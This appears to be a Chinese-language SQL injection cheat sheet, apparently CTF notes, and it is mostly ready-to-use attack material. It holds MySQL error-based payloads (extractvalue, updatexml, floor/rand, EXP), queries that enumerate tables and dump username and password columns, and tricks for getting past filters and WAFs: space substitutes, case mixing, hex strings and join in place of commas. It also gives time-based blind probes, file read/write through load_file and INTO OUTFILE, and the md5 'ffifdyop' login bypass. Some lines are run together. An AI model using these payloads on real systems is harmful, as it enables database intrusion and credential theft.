基于报错的sql注入
- 关于SQL注入的五大报错注入函数
- 报错型sql注入原理分析
报错函数
floor、ExtractValue、UpdateXml、GeometryCollection、polygon、multipoint、multlinestring、multpolygon、linestringselect * from test where id = '1' and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)#concat,结果会多一个1或0select * from test where id = '1' and (extractvalue(1, concat(0x5c,(select database()))))#extractvalue,(有长度限制,最长32位)select * from test where id = '1' and EXP(~(SELECT * from(select database())a))#EXP,版本在5.5.5及其以上select * from test where id = '1' and (updatexml(0x3a,concat(1,(select database())),1))#updatexml(有长度限制,最长32位)select !(select * from (select version())x) - ~0#bigint超出范围;~0是对0逐位取反.版本在5.5.5及其以上select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x#mysql列名不能重复特性,此处重复了version,所以报错。报错一次只能查询一列,可用group_concat,如:
select * from test where id = '1' and EXP(~(SELECT * from(SELECT group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database())a))- 如果关键的表被禁用了,可以使用这种形式
select count(*) from (select 1 union select null union select !1) as t group by concat(version(),floor(rand(0)*2)) - 如果
rand被禁用了可以使用用户变量来报错select min(@a:=1) from information_schema.tables group by concat(VERSION(),@a:=(@a+1)%2)
宽字节注入
%DF’- SQL约束攻击
数据库宽松模式下,插入数据长度超过字段限制时,仅插入允许的最长部分。 - INSERT INTO注入
可用时间盲注(https://blog.csdn.net/u011377996/article/details/79340100) - DS_store源码泄露
stacked injection堆叠注入,一次执行多条语句Mysql常用
- SELECT database();#数据库:lchengtest
- SELECT schema_name from information_schema.schemata;#数据库:lchengtest
- SELECT TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=’lchengtest’;#表名
- select COLUMN_NAME from information_schema.COLUMNS where table_name = ‘user’;#列名
SELECT Id,username,password from user;
select group_concat(table_name) from information_schema.tables where table_schema=database();
- select group_concat(column_name) from information_schema.columns where table_name=’user’;
- select group_concat(concat(id,username,password)) from user; #行间无分隔符,列分隔符为
, - select group_concat(concat(id,0x7c,username,0x7c,password)) from user; #用
|分隔行,用,分隔列 - select group_concat(concat_ws(‘|’,id,username,password)) from user; #同上
技巧
- 当空格被过滤时,通常用()
(select(ascii(mid((select(flag)from(flag))from(1)))<>103));或者/**/或+代替空格 - 内联注释
/*or*/、双重关键字oorr(中间可用其他被过滤的关键字)、大小写混用Or、编码(hex,urlencode)、符号(and=&&,or=||) - 字符串使用16进制替换,如’root’替换为0x726f6f74,不需要带引号
- char(27)代替单引号
- 空格绕过
%09TAB 键(水平)%0a新建一行%0c新的一页%0dreturn 功能%0bTAB 键(垂直)%a0空格
- group_concat-多列联合到一列,concat多行联合到一行,concat_ws基本同concat(但第一个参数为分隔符)
- 字符串截取函数
MID(column_name,start[,length]),substr(string, start, length),Left(string,n).substr()同substring(). - Sql注入截取字符串常用函数
ORD()此函数为返回第一个字符的ASCII码Ascii()将某个字符转换为ascii值- 默认地,
UNION操作符选取不同的值。如果允许重复的值,请使用UNION ALL。 regexpsql 盲注之正则表达式攻击Load_file(file_name):读取文件并返回该文件的内容作为一个字符串。LOAD DATA INFILE语句用于高速地从一个文本文件中读取行, 并装入一个表中SELECT.....INTO OUTFILE 'file_name'可以把被选择的行写入一个文件中HPP(HTTP参数污染攻击),构造含多个相同参数的请求- order by
rand(true/false)结果不同 - 异或注入:判断过滤
http://120.24.86.145:9004/1ndex.php?id=1'^(length('union')=5)%23当union被过滤时1^0 输出id=1;当union没被过滤时 1 ^ 1 输出 id=0. hex用于将字符串转为16进制猜到字段名的盲注(bugku-login3(SKCTF))
123payload = "password"payload_len = tamper("(length(", "){0}{1})")payload_data = tamper("(ASCII(SUBSTRING((", ")from({0}))){1}{2})")使用未定义函数可爆数据库名,如
username=' or '1&password=' or pcat() or '1,FUNCTION error_based_hpf.pcat does not exist- 逗号可以使用join绕过
ffff' union select * from ((select 1)a join (select 2)b join (select 3)c join (select 4)d) #
- 当空格被过滤时,通常用()
mysql常用函数
- version()——MySQL 版本
- user()——数据库用户名
- database()——数据库名
- @@basedir/@@datadir——安装路径/数据库路径
- @@version_compile_os——操作系统版本
- system_user()——系统用户名
一般用于尝试的语句
- – +可以用#替换, url 提交过程中 Url 编码后的#为%23,注意特殊字符
'"= )或关键字or等可能被过滤;另外可将1=1换成sleep(5) - or 1=1– +
- ‘or 1=1– +
- “or 1=1– +
- )or 1=1– +
- ‘)or 1=1– +
- “) or 1=1– +
- “))or 1=1– +
- – +可以用#替换, url 提交过程中 Url 编码后的#为%23,注意特殊字符
SQL盲注
If(ascii(substr(database(),0,1))=115,1,sleep(5))数据库名第一个字母为s则正确,否则延时5sselect case when ascii(substring((select database()) from 0 for 1))=115 then 1 else sleep(5) end同上
PHP相关函数及绕过
addslashes()函数返回在预定义字符之前添加反斜杠的字符串:单引号(’)、双引号(”)、 反斜杠(\)、 NULLstripslashes()函数删除由addslashes()函数添加的反斜杠。get_magic_quotes_gpc()判断是否开启自动执行addslashes(),0关闭1开启,在php.ini中配置mysql_real_escape_string()函数转义 SQL 语句中使用的字符串中的特殊字符:\x00、\n、\r、\、’、”、\x1a
- md5注入
$sql = "SELECT * FROM admin WHERE pass = '".md5($password,true)."'";(https://blog.csdn.net/greyfreedom/article/details/45846137),密码为`129581926211651571912466741651878684928`或`ffifdyop`md5转16进制后含类似`'or‘`字符串